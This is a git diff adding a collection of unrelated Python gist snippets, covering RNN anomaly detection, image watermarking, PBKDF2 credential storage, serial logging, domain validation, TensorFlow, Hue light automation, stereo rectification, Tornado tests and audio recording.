+trainer = RPropMinusTrainer(rnn, dataset=ds)
+
+# Predefine iterations: epochs & cycles
+EPOCHS_PER_CYCLE = 5
+CYCLES = 100
+EPOCHS = EPOCHS_PER_CYCLE * CYCLES
+
+# Training loop
+for i in xrange(CYCLES):
+    trainer.trainEpochs(EPOCHS_PER_CYCLE)
+    error = trainer.testOnData()
+    epoch = (i + 1) * EPOCHS_PER_CYCLE
+    print("\r Epoch: {}/{} Error: {}".format(epoch, EPOCHS, error), end="")
+    stdout.flush()
+
+# Save model
+NetworkWriter.writeToFile(rnn, 'rnn3.xml')
+
+# Ad hoc test
+for test in test_data:
+    for i in xrange(0, len(test) - 6, 5):
+        # Get 5 obs, 6th we wish to predict
+        obs, nxt = test[i:i + 5], test[i + 6]
+
+        # Predict all
+        prds = map(rnn.activate, obs)
+        # Get 6th prediction
+        prd = prds.pop()[0]
+
+        # Test if prd is anomalous
+        anm = prd > (1 + np.mean(obs) + 2 * np.std(obs))
+        # Get previous 5 obs,prd error rate
+        mse = ((np.array(obs[1:]) - np.concatenate(prds)) ** 2).mean()
+
+        print("\nSaw: {}\nNext/Prediction: {} / {}\nIs Anomaly: {}\nPrior MSE: {}".format(
+            obs, round(nxt, 3), round(prd, 3), anm, mse, end=""))
+        raw_input("[PRESS ENTER] for next prediction...\n")
+
+    print("[NEXT DOMAIN] ... \n")
diff --git a/hard-gists/8616550/._snippet.py b/hard-gists/8616550/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8616550/._snippet.py differ
diff --git a/hard-gists/8616550/snippet.py b/hard-gists/8616550/snippet.py
new file mode 100644
index 00000000..004cb846
--- /dev/null
+++ b/hard-gists/8616550/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/python
+
+__author__ = 'umair'
+
+FONTS = (
+    "/usr/share/fonts/truetype/ubuntu-font-family/Ubuntu-R.ttf",
+    "/usr/share/fonts/truetype/droid/DroidSerif-Regular.ttf",
+    "/usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf",
+    "/home/umair/Downloads/Dosis/Dosis-ExtraBold.ttf"
+)
+
+try:
+    from PIL import Image, ImageDraw, ImageFont, ImageEnhance
+except:
+    import Image, ImageDraw, ImageFont, ImageEnhance
+
+class ImpropertlyConfigured(Exception):
+    pass
+
+
+
+def ReduceOpacity(im, opacity):
+    """
+    Returns an image with reduced opacity.
+    Taken from http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/362879
+    """
+    assert opacity >= 0 and opacity <= 1
+    if im.mode != 'RGBA':
+        im = im.convert('RGBA')
+    else:
+        im = im.copy()
+    alpha = im.split()[3]
+    alpha = ImageEnhance.Brightness(alpha).enhance(opacity)
+    im.putalpha(alpha)
+    return im
+
+def Imprint(im, inputtext, font=None, color=None, opacity=0.6, margin=(30,30)):
+    """
+    imprints a PIL image with the indicated text in lower-right corner
+    """
+    if im.mode != "RGBA":
+        im = im.convert("RGBA")
+    textlayer = Image.new("RGBA", im.size, (0,0,0,0))
+    textdraw = ImageDraw.Draw(textlayer)
+    textsize = textdraw.textsize(inputtext, font=font)
+    textpos = [(im.size[i]/2)-(textsize[i]/2)-margin[i] for i in [0,1]]
+    textdraw.text(textpos, inputtext, font=font, fill=color)
+    if opacity != 1:
+        textlayer = ReduceOpacity(textlayer,opacity)
+    return Image.composite(textlayer, im, textlayer)
+
+def watermark(image, text, font_path, font_scale=None, font_size=None, color=(0,0,0), opacity=0.6, margin=(0, 0)):
+    """
+    image - PIL Image instance
+    text - text to add over image
+    font_path - font that will be used
+    font_scale - font size will be set as percent of image height
+    """
+    if font_scale and font_size:
+        raise ImpropertlyConfigured("You should provide only font_scale or font_size option, but not both")
+    elif font_scale:
+        width, height = image.size
+        font_size = int(font_scale*height)
+    elif not (font_size or font_scale):
+        raise ImpropertlyConfigured("You should provide font_scale or font_size option")
+    font=ImageFont.truetype(font_path, font_size)
+    im0 = Imprint(image, text, font=font, opacity=opacity, color=color, margin=margin)
+    return im0
+
+import os, sys
+
+def main():
+    if len(sys.argv) < 2:
+        print "Image path is required"
+        return
+
+    if len(sys.argv) < 3:
+        print "Watermark text is required"
+        return
+
+    watermarked_path = sys.argv[1] + "/Watermarked"
+    if not os.path.exists(watermarked_path):
+        os.makedirs(watermarked_path)
+
+    for (dirpath, dirnames, filenames) in os.walk(sys.argv[1]):
+        if not dirpath.endswith("Watermarked"):
+            for filename in filenames:
+                try:
+                    im = Image.open("%s/%s" % (dirpath, filename))
+                    result = watermark(im, sys.argv[2], color=(255,255,255), opacity=0.4,
+                                        font_path=FONTS[3], font_size=100)
+                    result.save("%s/%s" % (watermarked_path, filename))
+                except:
+                    pass
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/8617378/._snippet.py b/hard-gists/8617378/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8617378/._snippet.py differ
diff --git a/hard-gists/8617378/snippet.py b/hard-gists/8617378/snippet.py
new file mode 100644
index 00000000..7b4bc716
--- /dev/null
+++ b/hard-gists/8617378/snippet.py
@@ -0,0 +1,9 @@
+from django.db import models
+
+class Thing(models.Model):
+    # [ snip ]
+    def is_deletable(self):
+        for rel in self._meta.get_all_related_objects():
+            if rel.model.objects.filter(**{rel.field.name: self}).exists():
+                return False
+        return True
\ No newline at end of file
diff --git a/hard-gists/8621775/._snippet.py b/hard-gists/8621775/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8621775/._snippet.py differ
diff --git a/hard-gists/8621775/snippet.py b/hard-gists/8621775/snippet.py
new file mode 100644
index 00000000..d8945015
--- /dev/null
+++ b/hard-gists/8621775/snippet.py
@@ -0,0 +1,139 @@
+import Crypto.Random
+from Crypto.Protocol import KDF
+from google.appengine.ext import ndb
+from datetime import datetime
+
+class Credentials(ndb.Model):
+    """Credentials to authenticate a person.
+    """
+    # --- Class Variables ---
+    # Our pseudo-random stream - used for generating random bits for the
+    # salt and for iterations entropy
+    _randf = None
+
+    # --- Constants ---
+    # Keep track of the basic number of iterations for our derived key,
+    # which is stored with the key.
+    ITERATIONS_2013 = 60000
+
+    # Arbitrary, constant offset, not stored with the key but in the code.
+    ITER_OFFSET = -257
+
+    # Length of the stored key.
+    DK_LEN = 32
+
+    # --- Datastore variables ---
+    # A derived key from e.g. PBKDF2 (or, future: scrypt)
+    dk = ndb.BlobProperty(indexed=False)
+
+    # The salt; randomly generated for each dk.
+    salt = ndb.BlobProperty(indexed=False)
+
+    # The number of KDF iterations, starting from ITERATIONS_2013 plus or
+    # minus a small random amount, and increasing in amount over time to
+    # compensate for increasing computational power.
+    iterations = ndb.IntegerProperty(indexed=False)
+
+    # --- OTHER ---
+    # The next couple items are not part of this article, but included
+    # as food for thought.
+
+    # We keep track of how many times a person has attempted to log in.
+    failed_attempts = ndb.IntegerProperty(indexed=False)
+
+    # Computers authorized is a map from a uuid to an object with a date
+    # and list of IP addresses.
+    computers_authorized = ndb.JsonProperty()
+
+    # Two factor authentication.
+    other_factor = ndb.StringProperty(indexed=False)
+    
+    def __str__(self):
+        return unicode(self).encode('utf-8')
+
+    def __unicode__(self):
+        return "<Credentials: {}>".format(dict(
+            failed_attempts=self.failed_attempts
+        ))
+        
+    @property
+    def random_stream(self):
+        if not self._randf:
+            self._randf = Crypto.Random.new()
+        return self._randf
+        
+    def _multiplier(self):
+        """The multiplier to increase the KDF over time.
+
+        The integer returned doubles every two years from 2013.
+        """
+        start = datetime(2013, 1, 1)
+        now = datetime.now()
+        return 2 ** ((now - start).days / 730.0)
+
+    def _iterations(self):
+        """The number of iterations for this KDF
+        """
+        # Increase exponentially, to grow with computation power
+        base_iters = int(self.ITERATIONS_2013 * self._multiplier())
+
+        # Entropy is an int < 65536, limited to 6% of the base iters.
+        entropy = int(
+            self.random_stream.read(2).encode('hex'), 16
+        ) % int(base_iters * 0.06)
+
+        # Return a sensible number of iterations;
+        return base_iters + entropy
+
+    def generate_dk(self, token):
+        """Generate a defined key for a given token in hex
+        >>> c = Credentials()
+        >>> c.salt = 'abc'
+        >>> c.iterations = 4
+        >>> dk = c.generate_dk("password")
+        >>> len(dk)
+        64
+        """
+        return KDF.PBKDF2(token, self.salt, dkLen=self.DK_LEN,
+                          count=self.iterations + self.ITER_OFFSET
+                          ).encode('hex')
+                          
+    def set_dk(self, token):
+        """Set the derived key from the given token, generating iterations
+        and salt as necessary.
+
+        >>> c = Credentials()
+        >>> c.set_dk("password")
+        >>> len(c.dk)
+        64
+        >>> len(c.salt)
+        64
+        >>> c.iterations >= c.ITERATIONS_2013
+        True
+        """
+        self.iterations = self._iterations()
+        self.salt = self.random_stream.read(32).encode('hex')
+        self.dk = self.generate_dk(token)
+        
+    def verify(self, token):
+        """Determine if the given token matches the saved token
+        >>> c = Credentials()
+
+        Fail when credentials have no dk
+        >>> c.verify("password")
+
+        # my name is my passport, verify me
+        >>> c.set_dk("password")
+        >>> c.verify("password")
+        True
+
+        # try a bad password
+        >>> c.verify("not the password")
+        False
+        """
+        if not self.dk:
+            # If this user has no password, we cannot verify against it.
+            # Our return value should still be falsy.
+            return
+
+        return self.dk == self.generate_dk(token)
\ No newline at end of file
diff --git a/hard-gists/8638475/._snippet.py b/hard-gists/8638475/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8638475/._snippet.py differ
diff --git a/hard-gists/8638475/snippet.py b/hard-gists/8638475/snippet.py
new file mode 100644
index 00000000..6bbf4d1c
--- /dev/null
+++ b/hard-gists/8638475/snippet.py
@@ -0,0 +1,44 @@
+# serial data dumper for Jack and Dirty Dan
+# Assumes that all formatting (comma separated) happens on the arduino
+# and assumes that the arduino is probably using serial.print() to send
+# the data over the serial port and assumes that the OS is windows
+
+import serial
+from datetime import datetime
+import msvcrt
+
+# change to match COM port
+port = 'COM3'
+
+# change to match baud rate
+br = 115200
+
+# open serial port
+ser = serial.Serial(port,br)
+ser.open()
+
+# change if you want
+extension = '.csv'
+# create timestampped file
+filename = 'data_' + datetime.now().strftime('%Y%m%d_%X') + extension
+
+# open said file
+fop = open(filename, 'w')
+
+# create header if you want
+# uncomment and change to suit your needs
+# fop.write('DATA1,DATA2,')
+print 'Press any key to exit...'
+while not msvcrt.kbhit():
+	if ser.inWaiting():
+		data = ser.read(ser.inWaiting())
+		# display received data in console since you won't be
+    		# able to use the arduino console at the same time
+		print data,
+		# write data to file assumes all formatting takes place on arduino
+		# like commas, newlines, and crap
+		fop.write(data)
+
+# clean up	
+fop.close()
+ser.close()
diff --git a/hard-gists/8659759/._snippet.py b/hard-gists/8659759/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8659759/._snippet.py differ
diff --git a/hard-gists/8659759/snippet.py b/hard-gists/8659759/snippet.py
new file mode 100644
index 00000000..5e668021
--- /dev/null
+++ b/hard-gists/8659759/snippet.py
@@ -0,0 +1,57 @@
+import re
+
+from django.utils.encoding import force_text
+from django.core.exceptions import ValidationError
+
+
+class DomainNameValidator(object):
+    """
+    Domain name validator adapted from Django's EmailValidator.
+    """
+    message = 'Enter a valid domain name.'
+    code = 'invalid'
+    domain_regex = re.compile(
+        r'(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}|[A-Z0-9-]{2,})$'  # domain
+        # literal form, ipv4 address (SMTP 4.1.3)
+        r'|^\[(25[0-5]|2[0-4]\d|[0-1]?\d?\d)(\.(25[0-5]|2[0-4]\d|[0-1]?\d?\d)){3}\]$',
+        re.IGNORECASE)
+    domain_whitelist = ['localhost']
+
+    def __init__(self, message=None, code=None, whitelist=None):
+        if message is not None:
+            self.message = message
+        if code is not None:
+            self.code = code
+        if whitelist is not None:
+            self.domain_whitelist = whitelist
+
+    def __call__(self, value):
+        value = force_text(value)
+
+        if not value:
+            raise ValidationError(self.message, code=self.code)
+
+        if (not value in self.domain_whitelist and
+                not self.domain_regex.match(value)):
+            # Try for possible IDN domain-part
+            try:
+                value = value.encode('idna').decode('ascii')
+                if not self.domain_regex.match(value):
+                    raise ValidationError(self.message, code=self.code)
+                else:
+                    return
+            except UnicodeError:
+                pass
+            raise ValidationError(self.message, code=self.code)
+
+validate_domain_name = DomainNameValidator()
+
+
+def is_valid_domain_name(value):
+    try:
+        validate_domain_name(value)
+        return True
+    except ValidationError:
+        pass
+
+    return False
diff --git a/hard-gists/8662660/._snippet.py b/hard-gists/8662660/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8662660/._snippet.py differ
diff --git a/hard-gists/8662660/snippet.py b/hard-gists/8662660/snippet.py
new file mode 100644
index 00000000..ad80ac5b
--- /dev/null
+++ b/hard-gists/8662660/snippet.py
@@ -0,0 +1,29 @@
+# Probability of a segmentation =
+#   Probability(first word) * Probability(rest)
+# Best segmentation = 
+#   one with highest probability
+# Probability(word)
+#   estimated by counting
+
+# Eg. Best segmentation("nowisthetime...")
+# Pf("n") * Pr("owisthetime...") = .003% * 10^-30% = 10^-34%
+# Pf("no") * Pr("wisthetime...") = .26% * 10^-26% = 10^-29%
+# Pf("now") * Pr("isthetime...") = .23% * 10^-21% = 10^-24%
+# Pf("nowi") * Pr("sthetime...") = 10^-7% * 10^-21% = 10^-30%
+# ...
+
+from utils import Pw, product, memo
+
+def splits(characters, longest=12):
+    "All ways to split chars into a first word and remainder"
+    return [(characters[:i], characters[i:])
+            for i in range(1, 1+min(longest, len(characters)))]
+            
+def Pwords(words): return product(words, key=Pw)
+
+@memo
+def segment(text):
+    "Best segmentation of text into words, by probability."
+    return [] if (text =="") else (
+        max([[first]+segment(rest) for first, rest in splits(text)],
+            key=Pwords))
\ No newline at end of file
diff --git a/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/._snippet.py b/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/._snippet.py differ
diff --git a/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/snippet.py b/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/snippet.py
new file mode 100644
index 00000000..088ac649
--- /dev/null
+++ b/hard-gists/8663d3bbfd586bffecf6a0094cd116f2/snippet.py
@@ -0,0 +1,95 @@
+# Working example for my blog post at:
+# https://danijar.github.io/structuring-your-tensorflow-models
+import functools
+import tensorflow as tf
+from tensorflow.examples.tutorials.mnist import input_data
+
+
+def doublewrap(function):
+    """
+    A decorator decorator, allowing to use the decorator to be used without
+    parentheses if not arguments are provided. All arguments must be optional.
+    """
+    @functools.wraps(function)
+    def decorator(*args, **kwargs):
+        if len(args) == 1 and len(kwargs) == 0 and callable(args[0]):
+            return function(args[0])
+        else:
+            return lambda wrapee: function(wrapee, *args, **kwargs)
+    return decorator
+
+
+@doublewrap
+def define_scope(function, scope=None, *args, **kwargs):
+    """
+    A decorator for functions that define TensorFlow operations. The wrapped
+    function will only be executed once. Subsequent calls to it will directly
+    return the result so that operations are added to the graph only once.
+
+    The operations added by the function live within a tf.variable_scope(). If
+    this decorator is used with arguments, they will be forwarded to the
+    variable scope. The scope name defaults to the name of the wrapped
+    function.
+    """
+    attribute = '_cache_' + function.__name__
+    name = scope or function.__name__
+    @property
+    @functools.wraps(function)
+    def decorator(self):
+        if not hasattr(self, attribute):
+            with tf.variable_scope(name, *args, **kwargs):
+                setattr(self, attribute, function(self))
+        return getattr(self, attribute)
+    return decorator
+
+
+class Model:
+
+    def __init__(self, image, label):
+        self.image = image
+        self.label = label
+        self.prediction
+        self.optimize
+        self.error
+
+    @define_scope(initializer=tf.contrib.slim.xavier_initializer())
+    def prediction(self):
+        x = self.image
+        x = tf.contrib.slim.fully_connected(x, 200)
+        x = tf.contrib.slim.fully_connected(x, 200)
+        x = tf.contrib.slim.fully_connected(x, 10, tf.nn.softmax)
+        return x
+
+    @define_scope
+    def optimize(self):
+        logprob = tf.log(self.prediction + 1e-12)
+        cross_entropy = -tf.reduce_sum(self.label * logprob)
+        optimizer = tf.train.RMSPropOptimizer(0.03)
+        return optimizer.minimize(cross_entropy)
+
+    @define_scope
+    def error(self):
+        mistakes = tf.not_equal(
+            tf.argmax(self.label, 1), tf.argmax(self.prediction, 1))
+        return tf.reduce_mean(tf.cast(mistakes, tf.float32))
+
+
+def main():
+    mnist = input_data.read_data_sets('./mnist/', one_hot=True)
+    image = tf.placeholder(tf.float32, [None, 784])
+    label = tf.placeholder(tf.float32, [None, 10])
+    model = Model(image, label)
+    sess = tf.Session()
+    sess.run(tf.initialize_all_variables())
+
+    for _ in range(10):
+      images, labels = mnist.test.images, mnist.test.labels
+      error = sess.run(model.error, {image: images, label: labels})
+      print('Test error {:6.2f}%'.format(100 * error))
+      for _ in range(60):
+        images, labels = mnist.train.next_batch(100)
+        sess.run(model.optimize, {image: images, label: labels})
+
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/8664457/._snippet.py b/hard-gists/8664457/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8664457/._snippet.py differ
diff --git a/hard-gists/8664457/snippet.py b/hard-gists/8664457/snippet.py
new file mode 100644
index 00000000..83396077
--- /dev/null
+++ b/hard-gists/8664457/snippet.py
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+
+import os
+import requests
+import libxml2
+import time
+import phue
+import daemon
+import lockfile
+import signal
+
+trigger_apps = ["Plex/Chromecast"]
+sleep_interval = 10
+
+class Chromecast(object):
+    apps_url = "http://%s:8008/apps/"
+
+    def __init__(s, device_name):
+        s.device_name = device_name
+
+    def runningApp(s):
+        try:
+            response = requests.get(s.apps_url % s.device_name, timeout=2.0)
+            data = libxml2.parseDoc(response.text)
+
+            context = data.xpathNewContext()
+            context.xpathRegisterNs("root", "urn:dial-multiscreen-org:schemas:dial")
+            context.xpathRegisterNs("cast", "urn:chrome.google.com:cast")
+
+            description = context.xpathEval("//cast:description")
+
+            return description[0].content
+        except:
+            return "None"
+
+class Hue(object):
+    def __init__(s, device_name):
+        s.device_name = device_name
+        s.bridge = phue.Bridge(device_name)
+        s.bridge.connect()
+        s.dimmed = False
+
+    def dimUp(s):
+        s.dimmed = False
+        for light in s.lights:
+            s.bridge.set_light(light['id'], {'transitiontime':20,'on':True,'bri':light['bri'],'hue':light['hue'],'sat':light['sat']})
+
+    def dimDown(s):
+        s.dimmed = True
+        s.lights = []
+        for light in s.bridge.lights:
+            s.lights.append({'id':light.light_id,'hue':light.hue,'on':light.on,'bri':light.brightness,'sat':light.saturation})
+
+        s.bridge.set_light([2,3], {'transitiontime':20,'on':False})
+        s.bridge.set_light(1, {'transitiontime':20,'on':True,'bri':1,'hue':65535,'sat':255})
+
+def cleanup():
+    if hue.dimmed:
+        hue.dimUp()
+
+chromecast = Chromecast("chromecast")
+hue = Hue("philips-hue")
+
+context = daemon.DaemonContext(pidfile = lockfile.FileLock(os.path.join(os.environ['HOME'], ".chromelight")))
+context.signal_map = {
+    signal.SIGTERM: cleanup,
+    signal.SIGHUP: 'terminate'
+}
+
+context.stdout = open(os.path.join(os.environ['HOME'], '.chromelight.log'), 'w+')
+context.stderr = context.stdout
+
+with context:
+    while True:
+        app = chromecast.runningApp()
+        print "Running:", app
+
+        if app in trigger_apps:
+            if not hue.dimmed:
+                hue.dimDown()
+                print "Dimming down"
+        elif hue.dimmed:
+            hue.dimUp()
+            print "Dimming up"
+
+        time.sleep(sleep_interval)
diff --git a/hard-gists/8668000/._snippet.py b/hard-gists/8668000/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8668000/._snippet.py differ
diff --git a/hard-gists/8668000/snippet.py b/hard-gists/8668000/snippet.py
new file mode 100644
index 00000000..6f9e1073
--- /dev/null
+++ b/hard-gists/8668000/snippet.py
@@ -0,0 +1,104 @@
+import cv2
+import numpy as np
+
+
+def in_front_of_both_cameras(first_points, second_points, rot, trans):
+    # check if the point correspondences are in front of both images
+    rot_inv = rot
+    for first, second in zip(first_points, second_points):
+        first_z = np.dot(rot[0, :] - second[0]*rot[2, :], trans) / np.dot(rot[0, :] - second[0]*rot[2, :], second)
+        first_3d_point = np.array([first[0] * first_z, second[0] * first_z, first_z])
+        second_3d_point = np.dot(rot.T, first_3d_point) - np.dot(rot.T, trans)
+
+        if first_3d_point[2] < 0 or second_3d_point[2] < 0:
+            return False
+
+    return True
+
+# load the corresponding images
+first_img = cv2.imread("first.jpg")
+second_img = cv2.imread("second.jpg")
+
+# camera parameters
+d = np.array([-0.03432, 0.05332, -0.00347, 0.00106, 0.00000, 0.0, 0.0, 0.0]).reshape(1, 8) # distortion coefficients
+K = np.array([1189.46, 0.0, 805.49, 0.0, 1191.78, 597.44, 0.0, 0.0, 1.0]).reshape(3, 3) # Camera matrix
+K_inv = np.linalg.inv(K)
+
+# undistort the images first
+first_rect = cv2.undistort(first_img, K, d)
+second_rect = cv2.undistort(second_img, K, d)
+
+# extract key points and descriptors from both images
+detector = cv2.SURF(250)
+first_key_points, first_descriptors = detector.detectAndCompute(first_rect, None)
+second_key_points, second_descriptos = detector.detectAndCompute(second_rect, None)
+
+# match descriptors
+matcher = cv2.BFMatcher(cv2.NORM_L1, True)
+matches = matcher.match(first_descriptors, second_descriptos)
+
+# generate lists of point correspondences
+first_match_points = np.zeros((len(matches), 2), dtype=np.float32)
+second_match_points = np.zeros_like(first_match_points)
+for i in range(len(matches)):
+    first_match_points[i] = first_key_points[matches[i].queryIdx].pt
+    second_match_points[i] = second_key_points[matches[i].trainIdx].pt
+
+# estimate fundamental matrix
+F, mask = cv2.findFundamentalMat(first_match_points, second_match_points, cv2.FM_RANSAC, 0.1, 0.99)
+
+# decompose into the essential matrix
+E = K.T.dot(F).dot(K)
+
+# decompose essential matrix into R, t (See Hartley and Zisserman 9.13)
+U, S, Vt = np.linalg.svd(E)
+W = np.array([0.0, -1.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 1.0]).reshape(3, 3)
+
+# iterate over all point correspondences used in the estimation of the fundamental matrix
+first_inliers = []
+second_inliers = []
+for i in range(len(mask)):
+    if mask[i]:
+        # normalize and homogenize the image coordinates
+        first_inliers.append(K_inv.dot([first_match_points[i][0], first_match_points[i][1], 1.0]))
+        second_inliers.append(K_inv.dot([second_match_points[i][0], second_match_points[i][1], 1.0]))
+
+# Determine the correct choice of second camera matrix
+# only in one of the four configurations will all the points be in front of both cameras
+# First choice: R = U * Wt * Vt, T = +u_3 (See Hartley Zisserman 9.19)
+R = U.dot(W).dot(Vt)
+T = U[:, 2]
+if not in_front_of_both_cameras(first_inliers, second_inliers, R, T):
+
+    # Second choice: R = U * W * Vt, T = -u_3
+    T = - U[:, 2]
+    if not in_front_of_both_cameras(first_inliers, second_inliers, R, T):
+
+        # Third choice: R = U * Wt * Vt, T = u_3
+        R = U.dot(W.T).dot(Vt)
+        T = U[:, 2]
+
+        if not in_front_of_both_cameras(first_inliers, second_inliers, R, T):
+
+            # Fourth choice: R = U * Wt * Vt, T = -u_3
+            T = - U[:, 2]
+
+#perform the rectification
+R1, R2, P1, P2, Q, roi1, roi2 = cv2.stereoRectify(K, d, K, d, first_img.shape[:2], R, T, alpha=1.0)
+mapx1, mapy1 = cv2.initUndistortRectifyMap(K, d, R1, K, first_img.shape[:2], cv2.CV_32F)
+mapx2, mapy2 = cv2.initUndistortRectifyMap(K, d, R2, K, second_img.shape[:2], cv2.CV_32F)
+img_rect1 = cv2.remap(first_img, mapx1, mapy1, cv2.INTER_LINEAR)
+img_rect2 = cv2.remap(second_img, mapx2, mapy2, cv2.INTER_LINEAR)
+
+# draw the images side by side
+total_size = (max(img_rect1.shape[0], img_rect2.shape[0]), img_rect1.shape[1] + img_rect2.shape[1], 3)
+img = np.zeros(total_size, dtype=np.uint8)
+img[:img_rect1.shape[0], :img_rect1.shape[1]] = img_rect1
+img[:img_rect2.shape[0], img_rect1.shape[1]:] = img_rect2
+
+# draw horizontal lines every 25 px accross the side by side image
+for i in range(20, img.shape[0], 25):
+    cv2.line(img, (0, i), (img.shape[1], i), (255, 0, 0))
+
+cv2.imshow('rectified', img)
+cv2.waitKey(0)
\ No newline at end of file
diff --git a/hard-gists/867589/._snippet.py b/hard-gists/867589/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/867589/._snippet.py differ
diff --git a/hard-gists/867589/snippet.py b/hard-gists/867589/snippet.py
new file mode 100644
index 00000000..36527853
--- /dev/null
+++ b/hard-gists/867589/snippet.py
@@ -0,0 +1,58 @@
+import unittest, os, os.path, sys, urllib
+import tornado.database
+import tornado.options
+from tornado.options import options
+from tornado.testing import AsyncHTTPTestCase
+
+# add application root to sys.path
+APP_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.append(os.path.join(APP_ROOT, '..'))
+
+# import your app module
+import your.app
+
+# Create your Application for testing
+# In this example, the tornado config file is located in: APP_ROOT/config/test.py
+tornado.options.parse_config_file(os.path.join(APP_ROOT, 'config', 'test.py'))
+app = your.app.Application()
+
+# convenience method to clear test database
+# In this example, we simple reapply APP_ROOT/db/schema.sql to test database
+def clear_db(app=None):
+    os.system("mysql %s < %s" % (options.mysql_database, os.path.join(APP_ROOT, 'db', 'schema.sql')))
+
+# Create your base Test class.
+# Put all of your testing methods here.
+class TestHandlerBase(AsyncHTTPTestCase):
+    def setUp(self):
+        clear_db()
+        super(TestHandlerBase, self).setUp()
+
+    def get_app(self):
+        return app      # this is the global app that we created above.
+
+    def get_http_port(self):
+        return options.port
+
+
+# Your TestHandler class
+# They are runnable via nosetests as well.
+class TestBucketHandler(TestHandlerBase):
+    def create_something_test(self):
+
+        # Example on how to hit a particular handler as POST request.
+        # In this example, we want to test the redirect,
+        # thus follow_redirects is set to False
+        post_args = {'email': 'bro@bro.com'}
+        response = self.fetch(
+            '/create_something',
+            method='POST',
+            body=urllib.urlencode(post_args),
+            follow_redirects=False)
+
+        # On successful, response is expected to redirect to /tutorial
+        self.assertEqual(response.code, 302)
+        self.assertTrue(
+            response.headers['Location'].endswith('/tutorial'),
+            "response.headers['Location'] did not ends with /tutorial"
+        )
diff --git a/hard-gists/867684/._snippet.py b/hard-gists/867684/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/867684/._snippet.py differ
diff --git a/hard-gists/867684/snippet.py b/hard-gists/867684/snippet.py
new file mode 100644
index 00000000..099e7ba2
--- /dev/null
+++ b/hard-gists/867684/snippet.py
@@ -0,0 +1,47 @@
+import unittest, os, os.path, sys
+import tornado.database
+import tornado.options
+from tornado.options import options
+
+APP_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
+sys.path.append(os.path.join(APP_ROOT, '..'))
+
+# import your model module
+import your.model as model
+
+# import your app module
+from your.app import *
+
+# convenience method to clear test database
+# In this example, we simple reapply APP_ROOT/db/schema.sql to test database
+def clear_db(app=None):
+    os.system("mysql %s < %s" % (options.mysql_database, os.path.join(APP_ROOT, 'db', 'schema.sql')))
+
+
+# Global App for testing
+tornado.options.parse_config_file(os.path.join(APP_ROOT, 'config', 'test.py'))
+app = Application()
+
+# In this example, we have a model called Link and we want to test it.
+class TestLink(unittest.TestCase):
+    def setUp(self):
+        clear_db()
+        self.bucket = app.bucket
+        self.link = app.link
+
+    # Testing INSERT
+    def save_to_test(self):
+        sha = 'lol'
+        self.link.save_to(sha, "http://cooln.es")
+        self.assertEqual(len(self.link.all_by_sha(sha)), 1)
+
+    # testing SELECT
+    def all_by_sha_test(self):
+        sha = 'lol'
+        link_id = self.link.save_to(sha, "http://cooln.es")
+        self.assertTrue(link_id is not None)
+
+        link_id = self.link.save_to(sha, "http://tornadoweb.org")
+        self.assertTrue(link_id is not None)
+
+        self.assertEqual(len(self.link.all_by_sha(sha)), 2)
diff --git a/hard-gists/8678538/._snippet.py b/hard-gists/8678538/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8678538/._snippet.py differ
diff --git a/hard-gists/8678538/snippet.py b/hard-gists/8678538/snippet.py
new file mode 100644
index 00000000..f0ae6215
--- /dev/null
+++ b/hard-gists/8678538/snippet.py
@@ -0,0 +1,36 @@
+import pyaudio
+import wave
+ 
+FORMAT = pyaudio.paInt16
+CHANNELS = 2
+RATE = 44100
+CHUNK = 1024
+RECORD_SECONDS = 5
+WAVE_OUTPUT_FILENAME = "file.wav"
+ 
+audio = pyaudio.PyAudio()
+ 
+# start Recording
+stream = audio.open(format=FORMAT, channels=CHANNELS,
+                rate=RATE, input=True,
+                frames_per_buffer=CHUNK)
+print "recording..."
+frames = []
+ 
+for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
+    data = stream.read(CHUNK)
+    frames.append(data)
+print "finished recording"
+ 
+ 
+# stop Recording
+stream.stop_stream()
+stream.close()
+audio.terminate()
+ 
+waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
+waveFile.setnchannels(CHANNELS)
+waveFile.setsampwidth(audio.get_sample_size(FORMAT))
+waveFile.setframerate(RATE)
+waveFile.writeframes(b''.join(frames))
+waveFile.close()
\ No newline at end of file
diff --git a/hard-gists/8683457/._snippet.py b/hard-gists/8683457/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8683457/._snippet.py differ
diff --git a/hard-gists/8683457/snippet.py b/hard-gists/8683457/snippet.py
new file mode 100644
index 00000000..b63e315f
--- /dev/null
+++ b/hard-gists/8683457/snippet.py
@@ -0,0 +1,32 @@
+import Image, ImageDraw, scene
+
